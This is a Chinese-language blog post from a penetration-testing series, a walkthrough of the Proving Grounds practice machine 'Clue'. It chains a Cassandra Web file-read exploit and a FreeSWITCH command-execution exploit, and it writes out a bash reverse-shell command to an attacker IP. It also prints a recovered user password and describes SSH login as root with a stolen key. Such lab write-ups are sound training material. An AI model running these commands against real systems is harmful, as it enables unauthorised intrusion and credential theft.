iT邦幫忙

2025 iThome 鐵人賽

DAY 6
0
Security

滲透探險 30 天:靶機挑戰記系列 第 6

PG Practice: Clue 攻略

  • 分享至 

  • xImage
  •  

Recon

先看看有甚麼服務開啟
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.126.240 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.126.240 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.126.240 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.126.240 -type recon;

https://ithelp.ithome.com.tw/upload/images/20250919/20178791xegrtWe1EF.png
Port 8021 看起來是一個叫做 FreeSwitch的服務,由他回應的內容看起來,我們可能需要給東西去觸發
https://ithelp.ithome.com.tw/upload/images/20250919/201787916Q7qxvLyxf.png

SMB 是開著的,用 enum4linux跑看看有甚麼東西
這邊我們找到兩個使用者 Cassie 和 Anthony

enum4linux 192.168.126.240

https://ithelp.ithome.com.tw/upload/images/20250919/20178791CNyERbvDFs.png

Port 3000上面跑了一個叫做 Cassandra Web 服務,ExploitDB 上可以找到一支 exploit code 讓我們去讀任意的檔案 https://www.exploit-db.com/exploits/49362
雖然他可以讀其他檔案,但我們最想讀的就是密碼檔案啊! 可惜讀不到,先筆記一下好了
https://ithelp.ithome.com.tw/upload/images/20250919/20178791SRt3BIOkMa.png

Port 8021 上面的 FreeSwitch 也可以找到一個 exploit code https://www.exploit-db.com/exploits/47799
可惜我們不確定版本,但試試看也無妨吧?
下載下來後依照造指示執行,Authentication failed 看起來應該是帳號密碼錯誤
https://ithelp.ithome.com.tw/upload/images/20250919/20178791eXo18rAIoB.png

打開 exploit code 看一看,它裡面代的是預設的密碼
很顯然,密碼已經被改過了,但他應該是會存在靶機上的某一個地方吧??
https://ithelp.ithome.com.tw/upload/images/20250919/20178791dXy98IkALh.png

Initial Access

為了要知道 FreeSWITCH 可能存帳號跟密碼的檔案位置,我們找到了兩筆資料 https://www.exploit-db.com/exploits/47698https://inextrix.atlassian.net/wiki/spaces/ASTPP/pages/5572241/Changing+the+FreeSWITCH+mod_event_socket+Password+in+ASTPP
由蒐集來的資料看起來,檔案應該是在 /etc/freeswitch/outoload_configs/event_socket.conf.xml
https://ithelp.ithome.com.tw/upload/images/20250919/20178791txiuESjmV9.png
https://ithelp.ithome.com.tw/upload/images/20250919/20178791Ckmzei7AnA.png

用 49362.py 來讀看看吧 !
太好了! 我們拿到密碼了!

python 49362.py $tIP /etc/freeswitch/autoload_configs/event_socket.conf.xml 

https://ithelp.ithome.com.tw/upload/images/20250919/20178791ld3tvgNCXg.png

利用新的密碼來取代 47799.py 中的預設密碼吧
https://ithelp.ithome.com.tw/upload/images/20250919/20178791qNyyGYXrmk.png
Bing! exploit code 可以順利執行,看來適時後來拿 reverse shell了

python 47799.py $tIP whoami

https://ithelp.ithome.com.tw/upload/images/20250919/201787915ZOfod5a5i.png
設定完監聽後,執行命令,我們就順利拿到 revere shell了!

python3 47799.py $tIP "/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.189/80 0>&1'"

https://ithelp.ithome.com.tw/upload/images/20250919/20178791JcG2lnVBM8.png
第一個 flag get!
https://ithelp.ithome.com.tw/upload/images/20250919/20178791ZvnCKaBc0J.png

Privilege Escalation

在 Cassie 的目錄下面,我們發現了 id_rsa
但可惜,以我們目前的身分既不能讀也不能傳這個檔案,但可以筆記!
https://ithelp.ithome.com.tw/upload/images/20250919/20178791xrCkZoBZGu.png

在這台靶機上跑一下 Linpeas 蒐集一下資訊好了
這結果看著看著就被我們看到了 cassie 的密碼!
https://ithelp.ithome.com.tw/upload/images/20250919/20178791de881vHMot.png

既然有 Cassie的密碼,就要來轉換身分了!

su cassie
SecondBiteTheApple330

現在我們可以讀這個 id_rsa了,把它 copy下來存到 kali上
降一下權限,不然 ssh 會失敗
https://ithelp.ithome.com.tw/upload/images/20250919/20178791JskryMW4PY.png

chmod 600 id_rsa

我們一開始用的是 cassie的身分去 ssh,但是會失敗 ( 其實我們已經有密碼了,這樣做沒有太多意義 )
喝了杯水回來以後,試試看用 root的身分好了
沒想到被我們成功登入,沒想到這是 root 的 id_rsa
第二個 flag get!

ssh -i id_rsa root@$tIP

https://ithelp.ithome.com.tw/upload/images/20250919/20178791Labg5M1IVs.png
https://ithelp.ithome.com.tw/upload/images/20250919/201787919jRtiFohDJ.png


上一篇
PG Practice: ClamAV 攻略
下一篇
PG Practice: Cockpit 攻略
系列文
滲透探險 30 天:靶機挑戰記9
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言